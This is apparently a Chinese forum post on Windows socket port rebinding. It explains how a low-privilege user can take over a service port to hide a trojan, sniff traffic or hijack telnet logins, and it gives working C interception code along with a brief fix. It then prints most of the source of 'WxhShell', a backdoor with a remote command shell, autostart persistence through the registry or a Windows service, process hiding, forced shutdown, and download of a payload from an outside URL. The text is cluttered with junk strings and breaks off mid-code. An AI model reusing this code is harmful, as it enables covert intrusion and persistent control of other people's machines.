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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m-DsY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~J8pnTY  
i|}[A  
  saddr.sin_family = AF_INET; psC mbN   
!]fQ+*X0g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `|#Qx3n%  
RE=+ Dz{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S.Ma$KL~'^  
0i|oYaC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rBTeb0i?  
\nB8WSvk2W  
  这意味着什么?意味着可以进行如下的攻击: 4jBC9b}O  
'GoZqiYT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X*Dj[TD]  
W4U@%b do  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UybW26C;aU  
_uKZMl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b0A1hb[|  
qY$qaM^=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *B\H-lp?  
n?ctLbg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |'+eMl  
#8bsxx!s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !\#_Jw%y  
<b?!jV7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u4neXYSy  
bb`':3%  
  #include P<2 +L|X?}  
  #include ;?~$h-9)  
  #include |*Yf.-  
  #include    R:AA,^Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1>Dl\czn  
  int main() >,gvb5  
  { =rQP[ICs!  
  WORD wVersionRequested; -}4NT{E  
  DWORD ret; c.f"Gv  
  WSADATA wsaData; { "xln/  
  BOOL val; Ev2HGU[  
  SOCKADDR_IN saddr; }%`~T>/  
  SOCKADDR_IN scaddr; lR`'e0Lq  
  int err; qdG~!h7j  
  SOCKET s; Y<b-9ai<w  
  SOCKET sc; l?DJJ|>O  
  int caddsize; ,\d6VBP&  
  HANDLE mt; 2Nm>5l  
  DWORD tid;   kctzNGF|  
  wVersionRequested = MAKEWORD( 2, 2 ); 1 s*.A6EP"  
  err = WSAStartup( wVersionRequested, &wsaData ); je4w=]JV  
  if ( err != 0 ) { d:q +  
  printf("error!WSAStartup failed!\n"); Rqy0Q8K<  
  return -1; Z,;cCxE  
  } !k(_PM  
  saddr.sin_family = AF_INET; %Lrd6i_j  
   f0SAP0M3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0T5=W U  
r-IVb&uF b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); deeU@x`f<  
  saddr.sin_port = htons(23); nL}5cPI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dg7=X{=9jv  
  { KZ e)K_1[  
  printf("error!socket failed!\n"); V~yAE @9  
  return -1; %tt%`0  
  } %77p5ctW  
  val = TRUE; oi&Wo'DX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  oM1 6C|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) omf  Rs  
  { vN OH&ja-s  
  printf("error!setsockopt failed!\n"); %=<IGce  
  return -1; 7"*|2Xq  
  } \mN[gT}LHm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q U F$@)A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G02m/8g3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LFp]7Dq  
.LRxP#B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,kp\(X[J  
  { 4^' 3&vu  
  ret=GetLastError(); @l(vYJ:f  
  printf("error!bind failed!\n"); T\# *S0^  
  return -1; Ekm7 )d$  
  } Q_"\Q/=?Do  
  listen(s,2); nCvPB/-  
  while(1) o:dR5v  
  { i=32KI(%  
  caddsize = sizeof(scaddr);  5q<zN  
  //接受连接请求 ^Ori| 4}'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l  n }}5Q  
  if(sc!=INVALID_SOCKET) DrvtH+e  
  { m:O(+Fl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -(JUd4#  
  if(mt==NULL) 7W9d6i)  
  { 0i8h I6d  
  printf("Thread Creat Failed!\n"); oXt,e   
  break; >Dg#9  
  } =`C4qC _  
  } ,Ci/xnI  
  CloseHandle(mt); A?"h@-~2  
  } w*w?S  
  closesocket(s); E}Xka1 Bn  
  WSACleanup(); N(3R|Ii  
  return 0; =vh8T\  
  }   =FBpo2^QB;  
  DWORD WINAPI ClientThread(LPVOID lpParam) MY nH2w]  
  { @gBE{)Fj  
  SOCKET ss = (SOCKET)lpParam; "x&C5l}n  
  SOCKET sc; z&3]%t `C  
  unsigned char buf[4096]; >1irSUj"~  
  SOCKADDR_IN saddr; A~{f/%8D  
  long num; bT!($?GNdg  
  DWORD val; snp v z1iS  
  DWORD ret; d2ENm%q*PX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )06iV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "n\%_'R\hH  
  saddr.sin_family = AF_INET; :PnSQjV:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8C.!V =@\  
  saddr.sin_port = htons(23); I]J*BD#n.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;<G<1+  
  { ;+I4&VieK  
  printf("error!socket failed!\n"); TQ1WVq }*  
  return -1; Lg`Jp&Kg  
  } Y5!b)vke  
  val = 100; cf[vf!vi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |AH@ EI>  
  { mg+k'Myo+  
  ret = GetLastError(); r7!J&8;{K  
  return -1; 9 K  
  } )3muPMaY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ A-b vL  
  { F}rPY:  
  ret = GetLastError(); 4W\,y_Q o  
  return -1; XqR{.jF.  
  } T"E(  F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 02]xJo  
  { JFqf;3R  
  printf("error!socket connect failed!\n"); "gNK><  
  closesocket(sc); L,-u.vV  
  closesocket(ss); JAn1{<Ky  
  return -1; 2neRJ  
  } G\Q9IcJ0dY  
  while(1) ? Ekq6uz\)  
  { RyRqH:p)3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~'  =lou  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }w!ps{*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j/<??v4F4  
  num = recv(ss,buf,4096,0); `h;}3r#R{  
  if(num>0) n2;9geq+  
  send(sc,buf,num,0); 6;uBZ &g  
  else if(num==0) Plz-7fy33  
  break; qCJ=Z  
  num = recv(sc,buf,4096,0); t58m=4  
  if(num>0) TIRHT`"i  
  send(ss,buf,num,0); '=TTa  
  else if(num==0) 9Nl* 4  
  break; r2G*!qK*1  
  } Z[,`"}}hv=  
  closesocket(ss); bBE^^9G=Z  
  closesocket(sc); ':;LrTc'K  
  return 0 ; &?$\Y,{  
  } q?VVYZXP  
":&|[9/  
JY4_v>Aob  
========================================================== *=^[VV!  
|qL;Nu,d  
下边附上一个代码,,WXhSHELL TSyzdnMvz  
o#d$[oa  
========================================================== 8)Tj H'  
1e$[p[  
#include "stdafx.h" mvf _@2^  
hrlCKL&  
#include <stdio.h> O~Uw&Bq  
#include <string.h> VA]ZR+m  
#include <windows.h> @bQ!zCI  
#include <winsock2.h> F|]rA*2u  
#include <winsvc.h> 9c5!\m1  
#include <urlmon.h> oBUh]sR{.  
dx359  
#pragma comment (lib, "Ws2_32.lib") x9*ys;~w  
#pragma comment (lib, "urlmon.lib") gLCz]D.'  
$T)d!$  
#define MAX_USER   100 // 最大客户端连接数 vXPuyR<J  
#define BUF_SOCK   200 // sock buffer F> Mr<k=@;  
#define KEY_BUFF   255 // 输入 buffer U~g@TfU;  
rAatJc"0  
#define REBOOT     0   // 重启 S 1>Z6  
#define SHUTDOWN   1   // 关机 WRMz]|+}4  
WB"$u2{|i  
#define DEF_PORT   5000 // 监听端口 j];1"50?  
n^Au*'  
#define REG_LEN     16   // 注册表键长度 7dhn'TW  
#define SVC_LEN     80   // NT服务名长度 k <}I<Or  
`]yKM0 Z  
// 从dll定义API qi[(*bFK7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'Fzuc^G(d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5k`e^ARf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s#Q _Gu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WA$ p_% r=  
& ^!v*=z  
// wxhshell配置信息 zuj;T,R;  
struct WSCFG { = P8~n2V  
  int ws_port;         // 监听端口 IgiqFV {  
  char ws_passstr[REG_LEN]; // 口令 <\xQ7|e  
  int ws_autoins;       // 安装标记, 1=yes 0=no I_L;T  
  char ws_regname[REG_LEN]; // 注册表键名 'qlxAYw<f  
  char ws_svcname[REG_LEN]; // 服务名 j) <[j&OWw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EreAn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iDvpXn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h&'J+b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |=OpzCs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b2%blQgo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {G]`1Q1DR  
&*c'uN w  
}; .hnF]_QQ  
.kzms  
// default Wxhshell configuration 9w$7VW;  
struct WSCFG wscfg={DEF_PORT, Ty iU1,oO  
    "xuhuanlingzhe", [EcV\.  
    1, 4}PeP^pj  
    "Wxhshell", 6A@Lj*:2m  
    "Wxhshell", VG#$fRrZ  
            "WxhShell Service", :EaiM J_=  
    "Wrsky Windows CmdShell Service", {C,  #rj  
    "Please Input Your Password: ", ^8U6"O6|X  
  1, ma`w\8 a  
  "http://www.wrsky.com/wxhshell.exe", ;C6O3@Q  
  "Wxhshell.exe" -q|*M:R  
    }; | )S{(#k  
|<7i|J  
// 消息定义模块 >T$7{ ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3# :EK M~!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <X9T-b"$h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FL~9</  
char *msg_ws_ext="\n\rExit."; !}C4{Bgt*  
char *msg_ws_end="\n\rQuit."; _fe0,  
char *msg_ws_boot="\n\rReboot..."; CYMM*4#  
char *msg_ws_poff="\n\rShutdown..."; ]qF<Zw7  
char *msg_ws_down="\n\rSave to "; %G^(T%q| m  
4I+.^7d  
char *msg_ws_err="\n\rErr!"; sF, uIr/  
char *msg_ws_ok="\n\rOK!"; Xd5! Ti}  
&?fvt  
char ExeFile[MAX_PATH]; !c v6 #:  
int nUser = 0; =NI.d>kvC  
HANDLE handles[MAX_USER]; E{?L= ^cU  
int OsIsNt; ~ |J*E38  
@b>YkJDk  
SERVICE_STATUS       serviceStatus; q 8tP29  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {!>E9Px  
_;%.1H{N  
// 函数声明 R\i]O  
int Install(void); ENpaaW@!Y  
int Uninstall(void); 4E,hcu  
int DownloadFile(char *sURL, SOCKET wsh); re2Fv:4{  
int Boot(int flag); |^\ Hv5  
void HideProc(void); ``/y=k/au  
int GetOsVer(void); ?cA8P.?^A  
int Wxhshell(SOCKET wsl); aslNlH6  
void TalkWithClient(void *cs); _g^E%@'W  
int CmdShell(SOCKET sock); oa?!50d  
int StartFromService(void); x*k65WO\  
int StartWxhshell(LPSTR lpCmdLine); Pi^ECSzQu[  
8dYk3 sk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FL5ibg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |A2W8b {]  
&P{o{  
// 数据结构和表定义 I}I}K~se*  
SERVICE_TABLE_ENTRY DispatchTable[] = @)S sKk|  
{ zT2F&y q  
{wscfg.ws_svcname, NTServiceMain}, -(|7`U  
{NULL, NULL} V%VrAi.  
}; `mh-pBVD1  
Q;d+]xj  
// 自我安装 H ,01o5J  
int Install(void) j P{:A9T\  
{ dY48S{  
  char svExeFile[MAX_PATH]; uVoF<={  
  HKEY key; i,C0o   
  strcpy(svExeFile,ExeFile); ?nj"Ptzs  
+ 6i7,U  
// 如果是win9x系统,修改注册表设为自启动 MLEIx()  
if(!OsIsNt) { JuKk"tr~RB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #3AYz82w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w+URCj  
  RegCloseKey(key); )UxQf37  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ski1f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MxFt;GgE8  
  RegCloseKey(key); `ja`#%^\u  
  return 0; #r78Ym'aI  
    } }D&"z8mP  
  } Vq?8u/  
} H'j_<R N  
else { m? ]zomP  
Ncs4<"{$  
// 如果是NT以上系统,安装为系统服务 ?HEo9/ *7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '2Mjz6mBDA  
if (schSCManager!=0) #3 }5cC8_  
{ ir( -$*J  
  SC_HANDLE schService = CreateService S&;T_^|  
  ( {Zd)U "  
  schSCManager, ui0J}DM  
  wscfg.ws_svcname, L<{OBuR  
  wscfg.ws_svcdisp, P'F Pe55F  
  SERVICE_ALL_ACCESS, t1*BWY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !HT>  
  SERVICE_AUTO_START, %B*<BgJ;4F  
  SERVICE_ERROR_NORMAL, gdkLPZ<<  
  svExeFile, ySPlyhGF  
  NULL, zyQ,unu  
  NULL, zz+M1n-;o  
  NULL, 4w?]dDyc%  
  NULL, @ ~0G$  
  NULL T<9dW?'|  
  ); kHz+ ZY<?  
  if (schService!=0) 62k9"xSH  
  { '? !7 Be  
  CloseServiceHandle(schService); [<@A8Q5,y  
  CloseServiceHandle(schSCManager); P|!/mu]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OXa5Jg}=  
  strcat(svExeFile,wscfg.ws_svcname); 4jq`No_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \_-kOS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CrQA :_Z(7  
  RegCloseKey(key); f<$K.i  
  return 0; ]ouUv7\  
    } )edU <1P  
  } xC=3|,U  
  CloseServiceHandle(schSCManager); E@'CU9Fo  
} d=.n|rS4 W  
} jN5} 2 p*  
;OT#V,}r  
return 1; 2:6Y83  
} !`d832  
Hz;jJ&S  
// 自我卸载 &zg$H,@Qp  
int Uninstall(void) v3VLvh 2)n  
{ ;_Of`C+  
  HKEY key; %i]uW\~U  
v"Ud mv"  
if(!OsIsNt) { D KMbs   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,~ia$vI}R  
  RegDeleteValue(key,wscfg.ws_regname); "\R@l Ux.Y  
  RegCloseKey(key); ]w&?k:y>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t Sh}0N)  
  RegDeleteValue(key,wscfg.ws_regname); u\Erta`  
  RegCloseKey(key); Fc{6*wtO  
  return 0; EnsNO_"e|  
  } @poMK:  
} 4BUK5)B  
} iJynR [7  
else { ,& pF:ql F  
Pvb+   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2)j#O  
if (schSCManager!=0) ^r?sgJ  
{ ]Pg?(lr6)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,~=z_G`R  
  if (schService!=0) 9< 0$mE^:  
  { l#5k8+s  
  if(DeleteService(schService)!=0) { \I o?ul}za  
  CloseServiceHandle(schService); Sv^'CpQ  
  CloseServiceHandle(schSCManager); [> aoDJ  
  return 0; K:lT-*+S  
  } sLpCWIy  
  CloseServiceHandle(schService); U K]{]-  
  } v#YS`];B  
  CloseServiceHandle(schSCManager); vSHIl"h  
} "n2xn%t{  
} MWd_ 6XM  
TckR_0LNV  
return 1; v2uS 6  
} oJz:uv8Pe.  
JNA}EY^2I.  
// 从指定url下载文件 hvv>UC/  
int DownloadFile(char *sURL, SOCKET wsh) Kt&$Si  
{ 0Ts_"p  
  HRESULT hr; FO3eg"{N  
char seps[]= "/"; BBuYO$p  
char *token; 7`'fUhB!  
char *file; ]mLTF',5  
char myURL[MAX_PATH]; ePcI^}{  
char myFILE[MAX_PATH]; H* JC`:  
X7B)jH%N  
strcpy(myURL,sURL); $d"f/bRWy  
  token=strtok(myURL,seps); 1 069]  
  while(token!=NULL) 4Xb}I;rM  
  { i6\!7D]  
    file=token; odT7Gq  
  token=strtok(NULL,seps); />j+7ts  
  } ^zluO   
N=?kEX O  
GetCurrentDirectory(MAX_PATH,myFILE); tEs[zo+DR-  
strcat(myFILE, "\\"); X-) ]lAP  
strcat(myFILE, file); kBQenMm  
  send(wsh,myFILE,strlen(myFILE),0); N\?Az668?  
send(wsh,"...",3,0); Nz;*;BQK:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }W>[OY0^A  
  if(hr==S_OK) }SvWC8  
return 0; i:N^:%  
else %dWFg<< |  
return 1; ~9>[U%D  
;g)Fhdy!  
} =A&*SE o5  
Tk|;5^#H  
// 系统电源模块 .)pRB7O3  
int Boot(int flag) lIc9, |FL  
{ %Fm;LQa ]  
  HANDLE hToken; QRG)~  
  TOKEN_PRIVILEGES tkp; u:u 7|\q  
GbrPtu2{@V  
  if(OsIsNt) { DP'Dg /D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r D!.N   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |>fS"u  
    tkp.PrivilegeCount = 1; i I Nu`>I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `h{mj|~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bqwW9D(  
if(flag==REBOOT) { YH+\rb_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gm\o>YclS  
  return 0; X\)KVn`  
} Y>!W&Gtu  
else { Am`A[rV0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >]08".ajS  
  return 0; r^tXr[}  
} = (h;L$  
  } VKJ~ZIO@A  
  else { F^bQ-  
if(flag==REBOOT) { xgw)`>p,W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >nW}zkfn  
  return 0; m~IWazj;A  
} b2-|e_x  
else { qy(/   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v^I%Wm  
  return 0; o*ED!y7  
} 8q[WfD  
} fB"gM2'  
nKJ7K8)  
return 1; kITmo"$K  
} ITY!=>S-  
Hh=::Bi  
// win9x进程隐藏模块 ~W2&z]xD  
void HideProc(void) ?D 9#dGK  
{ ph (k2cb  
b2kbuk]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dC|#l?P  
  if ( hKernel != NULL ) "X}F%:HL  
  { mSw?iL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9nAK6$/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QN8Hz/}\  
    FreeLibrary(hKernel); 5va&N<U  
  } =WRU<`\  
R6o<p<fTh  
return; 5 9HaTq  
} x9 L\"  
. pEeR  
// 获取操作系统版本 g;Q^_4@  
int GetOsVer(void) -#M~Nb I,  
{ l'8TA~  
  OSVERSIONINFO winfo; =QO[zke:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fv'P!+)t  
  GetVersionEx(&winfo); 4$w-A-\ t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BcO2* 3  
  return 1; $5(%M8qmQ  
  else }ucg!i3C  
  return 0; 5!{g6=(  
} vszAr( t  
*K)53QKlE  
// 客户端句柄模块 6]49kHgMhe  
int Wxhshell(SOCKET wsl) =C2C~Xd  
{ PBnn,#  
  SOCKET wsh; b<cM[GaV~  
  struct sockaddr_in client; n.>'&<H>9  
  DWORD myID; 717m.t,x  
 ,qqV11P]  
  while(nUser<MAX_USER) [zd-=.:+M[  
{ /s_$CSiB  
  int nSize=sizeof(client); 'MlC 1HEp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zpd>' ${4  
  if(wsh==INVALID_SOCKET) return 1; 2Yjysn  
\uIC<#o"N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CrQ& -!Eh  
if(handles[nUser]==0) 9@+X?Nhv5  
  closesocket(wsh); {oeQK   
else Nn\\}R  
  nUser++; I+Cmj]M s0  
  } k~F/Ho+R&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vs(Zs[  
na; ^/_U@  
  return 0; lY?d*qED  
} [6qP;  
FJiP>S[]  
// 关闭 socket N Uml"  
void CloseIt(SOCKET wsh) BJr Nbo;T  
{ +'4dP#  
closesocket(wsh); d0,F'?.0|  
nUser--; )q-!5^ak  
ExitThread(0); bG?[":k  
} t!C-G+It  
F+r6/e6a  
// 客户端请求句柄 2p[3Ap  
void TalkWithClient(void *cs) l'f!za0  
{ !+l, m8Hly  
TC}u[kM  
  SOCKET wsh=(SOCKET)cs; xq*yZ5:5Jo  
  char pwd[SVC_LEN]; B 1.@K}  
  char cmd[KEY_BUFF]; Ww4G  
char chr[1]; O, 6!`\ND  
int i,j; OaWq8MIZ-  
KrzM]x  
  while (nUser < MAX_USER) { 5E|2 S_)G  
Z:Am\7 I  
if(wscfg.ws_passstr) { KgS xF#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!>G{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bm?TMhC  
  //ZeroMemory(pwd,KEY_BUFF); 1nmWL0  
      i=0; c:TP7"vG  
  while(i<SVC_LEN) { !IU*Ayg  
e /Y+S;a  
  // 设置超时 x{5*%}lX8  
  fd_set FdRead; i i Y[  
  struct timeval TimeOut; k]sT'}[n  
  FD_ZERO(&FdRead); zb$U'D_ -f  
  FD_SET(wsh,&FdRead); gC-0je  
  TimeOut.tv_sec=8; xn[di-L F  
  TimeOut.tv_usec=0; Xs_y!l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &[pw LYf7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \[jItg,+  
v$Z1Lh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cxdM!L; `  
  pwd=chr[0]; (5 hu W7v  
  if(chr[0]==0xd || chr[0]==0xa) { 1)ne-e  
  pwd=0; #Xly5J  
  break; iDJ2dM}v  
  } u> Hx#R<*%  
  i++; X=~QE}x  
    } |7'W)s5.  
GK+w1%6)  
  // 如果是非法用户,关闭 socket  `SrVMb(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H;ib3?  
} 6 H.Da]hk  
HS9U.G>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1uMdgrJRR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {lJpcS  
} d6^  
while(1) { 471}'3  
*uR'eXW  
  ZeroMemory(cmd,KEY_BUFF); i9tM]/SP  
L zC~>Uj  
      // 自动支持客户端 telnet标准   O*7 pg  
  j=0; f0+  
  while(j<KEY_BUFF) { DK;-2K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g= 8e.Y*Fr  
  cmd[j]=chr[0]; rD gl@B3  
  if(chr[0]==0xa || chr[0]==0xd) { l"CONzm!  
  cmd[j]=0; |Sm/Uq(c  
  break; <LY+" Y  
  } zT"#9"["  
  j++; %3wK.tR  
    } ^gImb`<6-  
Sb.;$Be5g  
  // 下载文件 VXp X#O  
  if(strstr(cmd,"http://")) { Vv]mME@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wW~2]*n  
  if(DownloadFile(cmd,wsh)) PoZBiw@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sr IynO  
  else F44")fY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #q%/~-Uk  
  } zF7T5 Ge  
  else { X*@S j;|m  
; V8 =B8w  
    switch(cmd[0]) { t)h3GM  
  X@rAe37h+  
  // 帮助 9L,T@#7  
  case '?': { w'C(? ?mH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FU zY&@Y  
    break; gC_U7aw  
  } LJ?7W,?  
  // 安装 wuCODz@~  
  case 'i': { t [f]  
    if(Install()) #"l=Lv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KVBz=  
    else :s\s3#?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $l=m?r=  
    break; CAfG3;  
    } R4?/7  
  // 卸载 L-yC'C  
  case 'r': { u-,=C/iU  
    if(Uninstall()) ^)WG c/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cVN|5Y   
    else |yr}g-m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JXrMtSp\  
    break; Nsb13mlY  
    } J c*A\-qC.  
  // 显示 wxhshell 所在路径 '0+-Hit?  
  case 'p': { t$b`Am  
    char svExeFile[MAX_PATH]; S:wmm}XQ  
    strcpy(svExeFile,"\n\r"); wXe.zLQ  
      strcat(svExeFile,ExeFile); CKK8 o9W  
        send(wsh,svExeFile,strlen(svExeFile),0); 1QThAFN  
    break; = >9`qcNW_  
    } :v#3;('7  
  // 重启 @C#lA2(I4  
  case 'b': { gwyz)CUkL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {.v+ iSM  
    if(Boot(REBOOT)) t5S S]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~_Aclm?  
    else { N]3XDd|q  
    closesocket(wsh); d}1R<Q;F  
    ExitThread(0); tG'c79D\  
    } !U@[lBW  
    break; K=V)"v5o3  
    } 92EvCtf  
  // 关机 R"jX9~3Ln  
  case 'd': { $4m{g"xL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z?7pn}-  
